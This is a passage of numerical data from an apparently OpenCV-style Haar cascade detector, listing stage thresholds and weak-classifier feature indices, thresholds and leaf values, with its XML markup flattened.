-1 1446 7.8624086454510689e-03 + + 4.6333950757980347e-01 6.2561017274856567e-01 + <_> + + 0 -1 1447 -4.7343620099127293e-03 + + 3.6155730485916138e-01 5.2818852663040161e-01 + <_> + + 0 -1 1448 8.3048478700220585e-04 + + 4.4428890943527222e-01 5.5509579181671143e-01 + <_> + + 0 -1 1449 7.6602199114859104e-03 + + 5.1629352569580078e-01 2.6133549213409424e-01 + <_> + + 0 -1 1450 -4.1048377752304077e-03 + + 2.7896320819854736e-01 5.0190317630767822e-01 + <_> + + 0 -1 1451 4.8512578941881657e-03 + + 4.9689841270446777e-01 5.6616681814193726e-01 + <_> + + 0 -1 1452 9.9896453320980072e-04 + + 4.4456079602241516e-01 5.5518132448196411e-01 + <_> + + 0 -1 1453 -2.7023631334304810e-01 + + 2.9388209804892540e-02 5.1513141393661499e-01 + <_> + + 0 -1 1454 -1.3090680353343487e-02 + + 5.6993997097015381e-01 4.4474598765373230e-01 + <_> + + 0 -1 1455 -9.4342790544033051e-03 + + 4.3054661154747009e-01 5.4878950119018555e-01 + <_> + + 0 -1 1456 -1.5482039889320731e-03 + + 3.6803171038627625e-01 5.1280808448791504e-01 + <_> + + 0 -1 1457 5.3746132180094719e-03 + + 4.8389169573783875e-01 6.1015558242797852e-01 + <_> + + 0 -1 1458 1.5786769799888134e-03 + + 5.3252232074737549e-01 4.1185480356216431e-01 + <_> + + 0 -1 1459 3.6856050137430429e-03 + + 4.8109480738639832e-01 6.2523031234741211e-01 + <_> + + 0 -1 1460 9.3887019902467728e-03 + + 5.2002298831939697e-01 3.6294108629226685e-01 + <_> + + 0 -1 1461 1.2792630121111870e-02 + + 4.9617099761962891e-01 6.7380160093307495e-01 + <_> + + 0 -1 1462 -3.3661040943115950e-03 + + 4.0602791309356689e-01 5.2835988998413086e-01 + <_> + + 0 -1 1463 3.9771420415490866e-04 + + 4.6741139888763428e-01 5.9007751941680908e-01 + <_> + + 0 -1 1464 1.4868030557408929e-03 + + 4.5191168785095215e-01 6.0820537805557251e-01 + <_> + + 0 -1 1465 -8.8686749339103699e-02 + + 2.8078991174697876e-01 5.1809918880462646e-01 + <_> + + 0 -1 1466 -7.4296112870797515e-05 + + 5.2955842018127441e-01 4.0876251459121704e-01 + <_> + + 0 -1 1467 -1.4932939848222304e-05 + + 5.4614001512527466e-01 4.5385429263114929e-01 + <_> + + 0 -1 1468 5.9162238612771034e-03 + + 5.3291612863540649e-01 4.1921341419219971e-01 + <_> + + 0 -1 1469 1.1141640134155750e-03 + + 4.5120179653167725e-01 5.7062172889709473e-01 + <_> + + 0 -1 1470 8.9249362645205110e-05 + + 4.5778059959411621e-01 5.8976382017135620e-01 + <_> + + 0 -1 1471 2.5319510605186224e-03 + + 5.2996039390563965e-01 3.3576390147209167e-01 + <_> + + 0 -1 1472 1.2426200322806835e-02 + + 4.9590590596199036e-01 1.3466019928455353e-01 + <_> + + 0 -1 1473 2.8335750102996826e-02 + + 5.1170790195465088e-01 6.1043637106195092e-04 + <_> + + 0 -1 1474 6.6165882162749767e-03 + + 4.7363498806953430e-01 7.0116281509399414e-01 + <_> + + 0 -1 1475 8.0468766391277313e-03 + + 5.2164179086685181e-01 3.2828199863433838e-01 + <_> + + 0 -1 1476 -1.1193980462849140e-03 + + 5.8098608255386353e-01 4.5637390017509460e-01 + <_> + + 0 -1 1477 1.3277590274810791e-02 + + 5.3983622789382935e-01 4.1039010882377625e-01 + <_> + + 0 -1 1478 4.8794739996083081e-04 + + 4.2492860555648804e-01 5.4105907678604126e-01 + <_> + + 0 -1 1479 1.1243170127272606e-02 + + 5.2699637413024902e-01 3.4382158517837524e-01 + <_> + + 0 -1 1480 -8.9896668214350939e-04 + + 5.6330758333206177e-01 4.4566130638122559e-01 + <_> + + 0 -1 1481 6.6677159629762173e-03 + + 5.3128892183303833e-01 4.3626791238784790e-01 + <_> + + 0 -1 1482 2.8947299346327782e-02 + + 4.7017949819564819e-01 6.5757977962493896e-01 + <_> + + 0 -1 1483 -2.3400049656629562e-02 + + 0. 5.1373988389968872e-01 + <_> + + 0 -1 1484 -8.9117050170898438e-02 + + 2.3745279759168625e-02 4.9424308538436890e-01 + <_> + + 0 -1 1485 -1.4054600149393082e-02 + + 3.1273230910301208e-01 5.1175111532211304e-01 + <_> + + 0 -1 1486 8.1239398568868637e-03 + + 5.0090491771697998e-01 2.5200259685516357e-01 + <_> + + 0 -1 1487 -4.9964650534093380e-03 + + 6.3871437311172485e-01 4.9278119206428528e-01 + <_> + + 0 -1 1488 3.1253970228135586e-03 + + 5.1368498802185059e-01 3.6804521083831787e-01 + <_> + + 0 -1 1489 6.7669642157852650e-03 + + 5.5098438262939453e-01 4.3636319041252136e-01 + <_> + + 0 -1 1490 -2.3711440153419971e-03 + + 6.1623352766036987e-01 4.5869469642639160e-01 + <_> + + 0 -1 1491 -5.3522791713476181e-03 + + 6.1854577064514160e-01 4.9204909801483154e-01 + <_> + + 0 -1 1492 -1.5968859195709229e-02 + + 1.3826179504394531e-01 4.9832528829574585e-01 + <_> + + 0 -1 1493 4.7676060348749161e-03 + + 4.6880578994750977e-01 5.4900461435317993e-01 + <_> + + 0 -1 1494 -2.4714691098779440e-03 + + 2.3685149848461151e-01 5.0039529800415039e-01 + <_> + + 0 -1 1495 -7.1033788844943047e-04 + + 5.8563941717147827e-01 4.7215330600738525e-01 + <_> + + 0 -1 1496 -1.4117559790611267e-01 + + 8.6900062859058380e-02 4.9615910649299622e-01 + <_> + + 0 -1 1497 1.0651809722185135e-01 + + 5.1388370990753174e-01 1.7410050332546234e-01 + <_> + + 0 -1 1498 -5.2744749933481216e-02 + + 7.3536360263824463e-01 4.7728818655014038e-01 + <_> + + 0 -1 1499 -4.7431760467588902e-03 + + 3.8844060897827148e-01 5.2927017211914062e-01 + <_> + + 0 -1 1500 9.9676765967160463e-04 + + 5.2234929800033569e-01 4.0034240484237671e-01 + <_> + + 0 -1 1501 8.0284131690859795e-03 + + 4.9591061472892761e-01 7.2129642963409424e-01 + <_> + + 0 -1 1502 8.6025858763605356e-04 + + 4.4448840618133545e-01 5.5384761095046997e-01 + <_> + + 0 -1 1503 9.3191501218825579e-04 + + 5.3983712196350098e-01 4.1632440686225891e-01 + <_> + + 0 -1 1504 -2.5082060601562262e-03 + + 5.8542650938034058e-01 4.5625001192092896e-01 + <_> + + 0 -1 1505 -2.1378761157393456e-03 + + 4.6080690622329712e-01 5.2802592515945435e-01 + <_> + + 0 -1 1506 -2.1546049974858761e-03 + + 3.7911269068717957e-01 5.2559971809387207e-01 + <_> + + 0 -1 1507 -7.6214009895920753e-03 + + 5.9986090660095215e-01 4.9520739912986755e-01 + <_> + + 0 -1 1508 2.2055360022932291e-03 + + 4.4842061400413513e-01 5.5885308980941772e-01 + <_> + + 0 -1 1509 1.2586950324475765e-03 + + 5.4507470130920410e-01 4.4238409399986267e-01 + <_> + + 0 -1 1510 -5.0926720723509789e-03 + + 4.1182750463485718e-01 5.2630358934402466e-01 + <_> + + 0 -1 1511 -2.5095739401876926e-03 + + 5.7879078388214111e-01 4.9984949827194214e-01 + <_> + + 0 -1 1512 -7.7327556908130646e-02 + + 8.3978658914566040e-01 4.8111200332641602e-01 + <_> + + 0 -1 1513 -4.1485819965600967e-02 + + 2.4086110293865204e-01 5.1769930124282837e-01 + <_> + + 0 -1 1514 1.0355669655837119e-04 + + 4.3553608655929565e-01 5.4170542955398560e-01 + <_> + + 0 -1 1515 1.3255809899419546e-03 + + 5.4539710283279419e-01 4.8940950632095337e-01 + <_> + + 0 -1 1516 -8.0598732456564903e-03 + + 5.7710242271423340e-01 4.5779189467430115e-01 + <_> + + 0 -1 1517 1.9058620557188988e-02 + + 5.1698678731918335e-01 3.4004750847816467e-01 + <_> + + 0 -1 1518 -3.5057891160249710e-02 + + 2.2032439708709717e-01 5.0005030632019043e-01 + <_> + + 0 -1 1519 5.7296059094369411e-03 + + 5.0434082746505737e-01 6.5975707769393921e-01 + <_> + + 0 -1 1520 -1.1648329906165600e-02 + + 2.1862849593162537e-01 4.9966529011726379e-01 + <_> + + 0 -1 1521 1.4544479781761765e-03 + + 5.0076818466186523e-01 5.5037277936935425e-01 + <_> + + 0 -1 1522 -2.5030909455381334e-04 + + 4.1298410296440125e-01 5.2416700124740601e-01 + <_> + + 0 -1 1523 -8.2907272735610604e-04 + + 5.4128682613372803e-01 4.9744960665702820e-01 + <_> + + 0 -1 1524 1.0862209601327777e-03 + + 4.6055299043655396e-01 5.8792287111282349e-01 + <_> + + 0 -1 1525 2.0000500080641359e-04 + + 5.2788549661636353e-01 4.7052091360092163e-01 + <_> + + 0 -1 1526 2.9212920926511288e-03 + + 5.1296097040176392e-01 3.7555369734764099e-01 + <_> + + 0 -1 1527 2.5387400761246681e-02 + + 4.8226919770240784e-01 5.7907682657241821e-01 + <_> + + 0 -1 1528 -3.1968469265848398e-03 + + 5.2483952045440674e-01 3.9628401398658752e-01 + <_> + 182 + 9.0253349304199219e+01 + + <_> + + 0 -1 1529 5.8031738735735416e-03 + + 3.4989839792251587e-01 5.9619832038879395e-01 + <_> + + 0 -1 1530 -9.0003069490194321e-03 + + 6.8166369199752808e-01 4.4785520434379578e-01 + <_> + + 0 -1 1531 -1.1549659539014101e-03 + + 5.5857062339782715e-01 3.5782510042190552e-01 + <_> + + 0 -1 1532 -1.1069850297644734e-03 + + 5.3650361299514771e-01 3.0504280328750610e-01 + <_> + + 0 -1 1533 1.0308309720130637e-04 + + 3.6390951275825500e-01 5.3446358442306519e-01 + <_> + + 0 -1 1534 -5.0984839908778667e-03 + + 2.8591570258140564e-01 5.5042648315429688e-01 + <_> + + 0 -1 1535 8.2572200335562229e-04 + + 5.2365237474441528e-01 3.4760418534278870e-01 + <_> + + 0 -1 1536 9.9783325567841530e-03 + + 4.7503221035003662e-01 6.2196469306945801e-01 + <_> + + 0 -1 1537 -3.7402529269456863e-02 + + 3.3433759212493896e-01 5.2780628204345703e-01 + <_> + + 0 -1 1538 4.8548257909715176e-03 + + 5.1921808719635010e-01 3.7004441022872925e-01 + <_> + + 0 -1 1539 -1.8664470408111811e-03 + + 2.9298439621925354e-01 5.0919449329376221e-01 + <_> + + 0 -1 1540 1.6888890415430069e-02 + + 3.6868458986282349e-01 5.4312258958816528e-01 + <_> + + 0 -1 1541 -5.8372621424496174e-03 + + 3.6321839690208435e-01 5.2213358879089355e-01 + <_> + + 0 -1 1542 -1.4713739510625601e-03 + + 5.8706837892532349e-01 4.7006508708000183e-01 + <_> + + 0 -1 1543 -1.1522950371727347e-03 + + 3.1958949565887451e-01 5.1409542560577393e-01 + <_> + + 0 -1 1544 -4.2560300789773464e-03 + + 6.3018590211868286e-01 4.8149210214614868e-01 + <_> + + 0 -1 1545 -6.7378291860222816e-03 + + 1.9770480692386627e-01 5.0258082151412964e-01 + <_> + + 0 -1 1546 1.1382670141756535e-02 + + 4.9541321396827698e-01 6.8670457601547241e-01 + <_> + + 0 -1 1547 5.1794708706438541e-03 + + 5.1644277572631836e-01 3.3506479859352112e-01 + <_> + + 0 -1 1548 -1.1743789911270142e-01 + + 2.3152460157871246e-01 5.2344137430191040e-01 + <_> + + 0 -1 1549 2.8703449293971062e-02 + + 4.6642971038818359e-01 6.7225211858749390e-01 + <_> + + 0 -1 1550 4.8231030814349651e-03 + + 5.2208751440048218e-01 2.7235329151153564e-01 + <_> + + 0 -1 1551 2.6798530016094446e-03 + + 5.0792771577835083e-01 2.9069489240646362e-01 + <_> + + 0 -1 1552 8.0504082143306732e-03 + + 4.8859509825706482e-01 6.3950210809707642e-01 + <_> + + 0 -1 1553 4.8054959625005722e-03 + + 5.1972568035125732e-01 3.6566638946533203e-01 + <_> + + 0 -1 1554 -2.2420159075409174e-03 + + 6.1534678936004639e-01 4.7637018561363220e-01 + <_> + + 0 -1 1555 -1.3757710345089436e-02 + + 2.6373448967933655e-01 5.0309032201766968e-01 + <_> + + 0 -1 1556 -1.0338299721479416e-01 + + 2.2875219583511353e-01 5.1824611425399780e-01 + <_> + + 0 -1 1557 -9.4432085752487183e-03 + + 6.9533038139343262e-01 4.6949490904808044e-01 + <_> + + 0 -1 1558 8.0271181650459766e-04 + + 5.4506552219390869e-01 4.2687839269638062e-01 + <_> + + 0 -1 1559 -4.1945669800043106e-03 + + 6.0913878679275513e-01 4.5716428756713867e-01 + <_> + + 0 -1 1560 1.0942210443317890e-02 + + 5.2410632371902466e-01 3.2845470309257507e-01 + <_> + + 0 -1 1561 -5.7841069065034389e-04 + + 5.3879290819168091e-01 4.1793689131736755e-01 + <_> + + 0 -1 1562 -2.0888620056211948e-03 + + 4.2926910519599915e-01 5.3017157316207886e-01 + <_> + + 0 -1 1563 3.2383969519287348e-03 + + 3.7923479080200195e-01 5.2207440137863159e-01 + <_> + + 0 -1 1564 4.9075027927756310e-03 + + 5.2372831106185913e-01 4.1267579793930054e-01 + <_> + + 0 -1 1565 -3.2277941703796387e-02 + + 1.9476559758186340e-01 4.9945020675659180e-01 + <_> + + 0 -1 1566 -8.9711230248212814e-03 + + 6.0112851858139038e-01 4.9290320277214050e-01 + <_> + + 0 -1 1567 1.5321089886128902e-02 + + 5.0097537040710449e-01 2.0398220419883728e-01 + <_> + + 0 -1 1568 2.0855569746345282e-03 + + 4.8621898889541626e-01 5.7216948270797729e-01 + <_> + + 0 -1 1569 5.0615021027624607e-03 + + 5.0002187490463257e-01 1.8018059432506561e-01 + <_> + + 0 -1 1570 -3.7174751050770283e-03 + + 5.5301171541213989e-01 4.8975929617881775e-01 + <_> + + 0 -1 1571 -1.2170500122010708e-02 + + 4.1786059737205505e-01 5.3837239742279053e-01 + <_> + + 0 -1 1572 4.6248398721218109e-03 + + 4.9971699714660645e-01 5.7613271474838257e-01 + <_> + + 0 -1 1573 -2.1040429419372231e-04 + + 5.3318071365356445e-01 4.0976810455322266e-01 + <_> + + 0 -1 1574 -1.4641780406236649e-02 + + 5.7559251785278320e-01 5.0517761707305908e-01 + <_> + + 0 -1 1575 3.3199489116668701e-03 + + 4.5769768953323364e-01 6.0318058729171753e-01 + <_> + + 0 -1 1576 3.7236879579722881e-03 + + 4.3803969025611877e-01 5.4158830642700195e-01 + <_> + + 0 -1 1577 8.2951161311939359e-04 + + 5.1630318164825439e-01 3.7022191286087036e-01 + <_> + + 0 -1 1578 -1.1408490128815174e-02 + + 6.0729467868804932e-01 4.8625651001930237e-01 + <_> + + 0 -1 1579 -4.5320121571421623e-03 + + 3.2924759387969971e-01 5.0889629125595093e-01 + <_> + + 0 -1 1580 5.1276017911732197e-03 + + 4.8297679424285889e-01 6.1227089166641235e-01 + <_> + + 0 -1 1581 9.8583158105611801e-03 + + 4.6606799960136414e-01 6.5561771392822266e-01 + <_> + + 0 -1 1582 3.6985918879508972e-02 + + 5.2048492431640625e-01 1.6904720664024353e-01 + <_> + + 0 -1 1583 4.6491161920130253e-03 + + 5.1673221588134766e-01 3.7252250313758850e-01 + <_> + + 0 -1 1584 -4.2664702050387859e-03 + + 6.4064931869506836e-01 4.9873429536819458e-01 + <_> + + 0 -1 1585 -4.7956590424291790e-04 + + 5.8972930908203125e-01 4.4648739695549011e-01 + <_> + + 0 -1 1586 3.6827160511165857e-03 + + 5.4415607452392578e-01 3.4726628661155701e-01 + <_> + + 0 -1 1587 -1.0059880092740059e-02 + + 2.1431629359722137e-01 5.0048297643661499e-01 + <_> + + 0 -1 1588 -3.0361840617842972e-04 + + 5.3864240646362305e-01 4.5903238654136658e-01 + <_> + + 0 -1 1589 -1.4545479789376259e-03 + + 5.7511842250823975e-01 4.4970950484275818e-01 + <_> + + 0 -1 1590 1.6515209572389722e-03 + + 5.4219377040863037e-01 4.2385208606719971e-01 + <_> + + 0 -1 1591 -7.8468639403581619e-03 + + 4.0779209136962891e-01 5.2581572532653809e-01 + <_> + + 0 -1 1592 -5.1259850151836872e-03 + + 4.2292758822441101e-01 5.4794532060623169e-01 + <_> + + 0 -1 1593 -3.6890961229801178e-02 + + 6.5963757038116455e-01 4.6746781468391418e-01 + <_> + + 0 -1 1594 2.4035639944486320e-04 + + 4.2511358857154846e-01 5.5732029676437378e-01 + <_> + + 0 -1 1595 -1.5150169929256663e-05 + + 5.2592468261718750e-01 4.0741148591041565e-01 + <_> + + 0 -1 1596 2.2108471021056175e-03 + + 4.6717229485511780e-01 5.8863520622253418e-01 + <_> + + 0 -1 1597 -1.1568620102480054e-03 + + 5.7110661268234253e-01 4.4871619343757629e-01 + <_> + + 0 -1 1598 4.9996292218565941e-03 + + 5.2641981840133667e-01 2.8983271121978760e-01 + <_> + + 0 -1 1599 -1.4656189596280456e-03 + + 3.8917380571365356e-01 5.1978719234466553e-01 + <_> + + 0 -1 1600 -1.1975039960816503e-03 + + 5.7958728075027466e-01 4.9279558658599854e-01 + <_> + + 0 -1 1601 -4.4954330660402775e-03 + + 2.3776030540466309e-01 5.0125551223754883e-01 + <_> + + 0 -1 1602 1.4997160178609192e-04 + + 4.8766261339187622e-01 5.6176078319549561e-01 + <_> + + 0 -1 1603 2.6391509454697371e-03 + + 5.1680880784988403e-01 3.7655091285705566e-01 + <_> + + 0 -1 1604 -2.9368131072260439e-04 + + 5.4466491937637329e-01 4.8746308684349060e-01 + <_> + + 0 -1 1605 1.4211760135367513e-03 + + 4.6878978610038757e-01 6.6913318634033203e-01 + <_> + + 0 -1 1606 7.9427637159824371e-02 + + 5.1934438943862915e-01 2.7329459786415100e-01 + <_> + + 0 -1 1607 7.9937502741813660e-02 + + 4.9717310070991516e-01 1.7820839583873749e-01 + <_> + + 0 -1 1608 1.1089259758591652e-02 + + 5.1659947633743286e-01 3.2094758749008179e-01 + <_> + + 0 -1 1609 1.6560709627810866e-04 + + 4.0584719181060791e-01 5.3072762489318848e-01 + <_> + + 0 -1 1610 -5.3354292176663876e-03 + + 3.4450569748878479e-01 5.1581299304962158e-01 + <_> + + 0 -1 1611 1.1287260567769408e-03 + + 4.5948630571365356e-01 6.0755330324172974e-01 + <_> + + 0 -1 1612 -2.1969219669699669e-02 + + 1.6804009675979614e-01 5.2285957336425781e-01 + <_> + + 0 -1 1613 -2.1775320055894554e-04 + + 3.8615968823432922e-01 5.2156728506088257e-01 + <_> + + 0 -1 1614 2.0200149447191507e-04 + + 5.5179792642593384e-01 4.3630391359329224e-01 + <_> + + 0 -1 1615 -2.1733149886131287e-02 + + 7.9994601011276245e-01 4.7898510098457336e-01 + <_> + + 0 -1 1616 -8.4399932529777288e-04 + + 4.0859758853912354e-01 5.3747731447219849e-01 + <_> + + 0 -1 1617 -4.3895249837078154e-04 + + 5.4704052209854126e-01 4.3661430478096008e-01 + <_> + + 0 -1 1618 1.5092400135472417e-03 + + 4.9889969825744629e-01 5.8421492576599121e-01 + <_> + + 0 -1 1619 -3.5547839943319559e-03 + + 6.7536902427673340e-01 4.7210058569908142e-01 + <_> + + 0 -1 1620 4.8191400128416717e-04 + + 5.4158538579940796e-01 4.3571090698242188e-01 + <_> + + 0 -1 1621 -6.0264398343861103e-03 + + 2.2585099935531616e-01 4.9918809533119202e-01 + <_> + + 0 -1 1622 -1.1668140068650246e-02 + + 6.2565547227859497e-01 4.9274989962577820e-01 + <_> + + 0 -1 1623 -2.8718370012938976e-03 + + 3.9477849006652832e-01 5.2458018064498901e-01 + <_> + + 0 -1 1624 1.7051169648766518e-02 + + 4.7525110840797424e-01 5.7942241430282593e-01 + <_> + + 0 -1 1625 -1.3352080248296261e-02 + + 6.0411047935485840e-01 4.5445358753204346e-01 + <_> + + 0 -1 1626 -3.9301801007241011e-04 + + 4.2582759261131287e-01 5.5449050664901733e-01 + <_> + + 0 -1 1627 3.0483349692076445e-03 + + 5.2334201335906982e-01 3.7802729010581970e-01 + <_> + + 0 -1 1628 -4.3579288758337498e-03 + + 6.3718891143798828e-01 4.8386740684509277e-01 + <_> + + 0 -1 1629 5.6661018170416355e-03 + + 5.3747057914733887e-01 4.1636660695075989e-01 + <_> + + 0 -1 1630 6.0677339206449687e-05 + + 4.6387958526611328e-01 5.3116250038146973e-01 + <_> + + 0 -1 1631 3.6738160997629166e-02 + + 4.6886560320854187e-01 6.4665240049362183e-01 + <_> + + 0 -1 1632 8.6528137326240540e-03 + + 5.2043187618255615e-01 2.1886579692363739e-01 + <_> + + 0 -1 1633 -1.5371359884738922e-01 + + 1.6303719580173492e-01 4.9588400125503540e-01 + <_> + + 0 -1 1634 -4.1560421232134104e-04 + + 5.7744592428207397e-01 4.6964588761329651e-01 + <_> + + 0 -1 1635 -1.2640169588848948e-03 + + 3.9771759510040283e-01 5.2171981334686279e-01 + <_> + + 0 -1 1636 -3.5473341122269630e-03 + + 6.0465282201766968e-01 4.8083150386810303e-01 + <_> + + 0 -1 1637 3.0019069527043030e-05 + + 3.9967238903045654e-01 5.2282011508941650e-01 + <_> + + 0 -1 1638 1.3113019522279501e-03 + + 4.7121581435203552e-01 5.7659977674484253e-01 + <_> + + 0 -1 1639 -1.3374709524214268e-03 + + 4.1095849871635437e-01 5.2531701326370239e-01 + <_> + + 0 -1 1640 2.0876709371805191e-02 + + 5.2029937505722046e-01 1.7579819262027740e-01 + <_> + + 0 -1 1641 -7.5497948564589024e-03 + + 6.5666097402572632e-01 4.6949750185012817e-01 + <_> + + 0 -1 1642 2.4188550189137459e-02 + + 5.1286739110946655e-01 3.3702209591865540e-01 + <_> + + 0 -1 1643 -2.9358828905969858e-03 + + 6.5807867050170898e-01 4.6945410966873169e-01 + <_> + + 0 -1 1644 5.7557929307222366e-02 + + 5.1464450359344482e-01 2.7752599120140076e-01 + <_> + + 0 -1 1645 -1.1343370424583554e-03 + + 3.8366019725799561e-01 5.1926672458648682e-01 + <_> + + 0 -1 1646 1.6816999763250351e-02 + + 5.0855928659439087e-01 6.1772608757019043e-01 + <_> + + 0 -1 1647 5.0535178743302822e-03 + + 5.1387631893157959e-01 3.6847919225692749e-01 + <_> + + 0 -1 1648 -4.5874710194766521e-03 + + 5.9896552562713623e-01 4.8352020978927612e-01 + <_> + + 0 -1 1649 1.6882460331544280e-03 + + 4.5094868540763855e-01 5.7230567932128906e-01 + <_> + + 0 -1 1650 -1.6554000321775675e-03 + + 3.4967708587646484e-01 5.2433192729949951e-01 + <_> + + 0 -1 1651 -1.9373800605535507e-02 + + 1.1205369979143143e-01 4.9687129259109497e-01 + <_> + + 0 -1 1652 1.0374450124800205e-02 + + 5.1481968164443970e-01 4.3952131271362305e-01 + <_> + + 0 -1 1653 1.4973050565458834e-04 + + 4.0849998593330383e-01 5.2698868513107300e-01 + <_> + + 0 -1 1654 -4.2981930077075958e-02 + + 6.3941049575805664e-01 5.0185042619705200e-01 + <_> + + 0 -1 1655 8.3065936341881752e-03 + + 4.7075539827346802e-01 6.6983532905578613e-01 + <_> + + 0 -1 1656 -4.1285790503025055e-03 + + 4.5413690805435181e-01 5.3236472606658936e-01 + <_> + + 0 -1 1657 1.7399420030415058e-03 + + 4.3339619040489197e-01 5.4398661851882935e-01 + <_> + + 0 -1 1658 1.1739750334527344e-04 + + 4.5796871185302734e-01 5.5434262752532959e-01 + <_> + + 0 -1 1659 1.8585780344437808e-04 + + 4.3246439099311829e-01 5.4267549514770508e-01 + <_> + + 0 -1 1660 5.5587692186236382e-03 + + 5.2572208642959595e-01 3.5506111383438110e-01 + <_> + + 0 -1 1661 -7.9851560294628143e-03 + + 6.0430181026458740e-01 4.6306359767913818e-01 + <_> + + 0 -1 1662 6.0594122624024749e-04 + + 4.5982548594474792e-01 5.5331951379776001e-01 + <_> + + 0 -1 1663 -2.2983040253166109e-04 + + 4.1307520866394043e-01 5.3224611282348633e-01 + <_> + + 0 -1 1664 4.3740210821852088e-04 + + 4.0430399775505066e-01 5.4092890024185181e-01 + <_> + + 0 -1 1665 2.9482020181603730e-04 + + 4.4949638843536377e-01 5.6288522481918335e-01 + <_> + + 0 -1 1666 1.0312659665942192e-02 + + 5.1775109767913818e-01 2.7043169736862183e-01 + <_> + + 0 -1 1667 -7.7241109684109688e-03 + + 1.9880190491676331e-01 4.9805539846420288e-01 + <_> + + 0 -1 1668 -4.6797208487987518e-03 + + 6.6447502374649048e-01 5.0182962417602539e-01 + <_> + + 0 -1 1669 -5.0755459815263748e-03 + + 3.8983049988746643e-01 5.1852691173553467e-01 + <_> + + 0 -1 1670 2.2479740437120199e-03 + + 4.8018088936805725e-01 5.6603360176086426e-01 + <_> + + 0 -1 1671 8.3327008178457618e-04 + + 5.2109199762344360e-01 3.9571881294250488e-01 + <_> + + 0 -1 1672 -4.1279330849647522e-02 + + 6.1545419692993164e-01 5.0070542097091675e-01 + <_> + + 0 -1 1673 -5.0930189900100231e-04 + + 3.9759421348571777e-01 5.2284038066864014e-01 + <_> + + 0 -1 1674 1.2568780221045017e-03 + + 4.9791380763053894e-01 5.9391832351684570e-01 + <_> + + 0 -1 1675 8.0048497766256332e-03 + + 4.9844971299171448e-01 1.6333660483360291e-01 + <_> + + 0 -1 1676 -1.1879300000146031e-03 + + 5.9049648046493530e-01 4.9426248669624329e-01 + <_> + + 0 -1 1677 6.1948952497914433e-04 + + 4.1995579004287720e-01 5.3287261724472046e-01 + <_> + + 0 -1 1678 6.6829859279096127e-03 + + 5.4186028242111206e-01 4.9058890342712402e-01 + <_> + + 0 -1 1679 -3.7062340416014194e-03 + + 3.7259390950202942e-01 5.1380002498626709e-01 + <_> + + 0 -1 1680 -3.9739411324262619e-02 + + 6.4789611101150513e-01 5.0503468513488770e-01 + <_> + + 0 -1 1681 1.4085009461268783e-03 + + 4.6823391318321228e-01 6.3778841495513916e-01 + <_> + + 0 -1 1682 3.9322688826359808e-04 + + 5.4585301876068115e-01 4.1504821181297302e-01 + <_> + + 0 -1 1683 -1.8979819724336267e-03 + + 3.6901599168777466e-01 5.1497042179107666e-01 + <_> + + 0 -1 1684 -1.3970440253615379e-02 + + 6.0505628585815430e-01 4.8113578557968140e-01 + <_> + + 0 -1 1685 -1.0100819915533066e-01 + + 2.0170800387859344e-01 4.9923619627952576e-01 + <_> + + 0 -1 1686 -1.7346920445561409e-02 + + 5.7131487131118774e-01 4.8994860053062439e-01 + <_> + + 0 -1 1687 1.5619759506080300e-04 + + 4.2153888940811157e-01 5.3926420211791992e-01 + <_> + + 0 -1 1688 1.3438929617404938e-01 + + 5.1361519098281860e-01 3.7676128745079041e-01 + <_> + + 0 -1 1689 -2.4582240730524063e-02 + + 7.0273578166961670e-01 4.7479069232940674e-01 + <_> + + 0 -1 1690 -3.8553720805794001e-03 + + 4.3174090981483459e-01 5.4277169704437256e-01 + <_> + + 0 -1 1691 -2.3165249731391668e-03 + + 5.9426987171173096e-01 4.6186479926109314e-01 + <_> + + 0 -1 1692 -4.8518120311200619e-03 + + 6.1915689706802368e-01 4.8848950862884521e-01 + <_> + + 0 -1 1693 2.4699938949197531e-03 + + 5.2566647529602051e-01 4.0171998739242554e-01 + <_> + + 0 -1 1694 4.5496959239244461e-02 + + 5.2378678321838379e-01 2.6857739686965942e-01 + <_> + + 0 -1 1695 -2.0319599658250809e-02 + + 2.1304459869861603e-01 4.9797388911247253e-01 + <_> + + 0 -1 1696 2.6994998916052282e-04 + + 4.8140418529510498e-01 5.5431222915649414e-01 + <_> + + 0 -1 1697 -1.8232699949294329e-03 + + 6.4825797080993652e-01 4.7099891304969788e-01 + <_> + + 0 -1 1698 -6.3015790656208992e-03 + + 4.5819279551506042e-01 5.3062361478805542e-01 + <_> + + 0 -1 1699 -2.4139499873854220e-04 + + 5.2320867776870728e-01 4.0517631173133850e-01 + <_> + + 0 -1 1700 -1.0330369696021080e-03 + + 5.5562019348144531e-01 4.7891938686370850e-01 + <_> + + 0 -1 1701 1.8041160365100950e-04 + + 5.2294427156448364e-01 4.0118101239204407e-01 + <_> + + 0 -1 1702 -6.1407860368490219e-02 + + 6.2986820936203003e-01 5.0107032060623169e-01 + <_> + + 0 -1 1703 -6.9543913006782532e-02 + + 7.2282809019088745e-01 4.7731840610504150e-01 + <_> + + 0 -1 1704 -7.0542663335800171e-02 + + 2.2695130109786987e-01 5.1825290918350220e-01 + <_> + + 0 -1 1705 2.4423799477517605e-03 + + 5.2370971441268921e-01 4.0981510281562805e-01 + <_> + + 0 -1 1706 1.5494349645450711e-03 + + 4.7737509012222290e-01 5.4680430889129639e-01 + <_> + + 0 -1 1707 -2.3914219811558723e-02 + + 7.1469759941101074e-01 4.7838249802589417e-01 + <_> + + 0 -1 1708 -1.2453690171241760e-02 + + 2.6352968811988831e-01 5.2411228418350220e-01 + <_> + + 0 -1 1709 -2.0760179904755205e-04 + + 3.6237570643424988e-01 5.1136088371276855e-01 + <_> + + 0 -1 1710 2.9781080229440704e-05 + + 4.7059321403503418e-01 5.4328018426895142e-01 + <_> + 211 + 1.0474919891357422e+02 + + <_> + + 0 -1 1711 1.1772749945521355e-02 + + 3.8605189323425293e-01 6.4211672544479370e-01 + <_> + + 0 -1 1712 2.7037570253014565e-02 + + 4.3856549263000488e-01 6.7540389299392700e-01 + <_> + + 0 -1 1713 -3.6419500247575343e-05 + + 5.4871010780334473e-01 3.4233158826828003e-01 + <_> + + 0 -1 1714 1.9995409529656172e-03 + + 3.2305321097373962e-01 5.4003179073333740e-01 + <_> + + 0 -1 1715 4.5278300531208515e-03 + + 5.0916397571563721e-01 2.9350438714027405e-01 + <_> + + 0 -1 1716 4.7890920541249216e-04 + + 4.1781538724899292e-01 5.3440642356872559e-01 + <_> + + 0 -1 1717 1.1720920447260141e-03 + + 2.8991821408271790e-01 5.1320707798004150e-01 + <_> + + 0 -1 1718 9.5305702416226268e-04 + + 4.2801249027252197e-01 5.5608451366424561e-01 + <_> + + 0 -1 1719 1.5099150004971307e-05 + + 4.0448719263076782e-01 5.4047602415084839e-01 + <_> + + 0 -1 1720 -6.0817901976406574e-04 + + 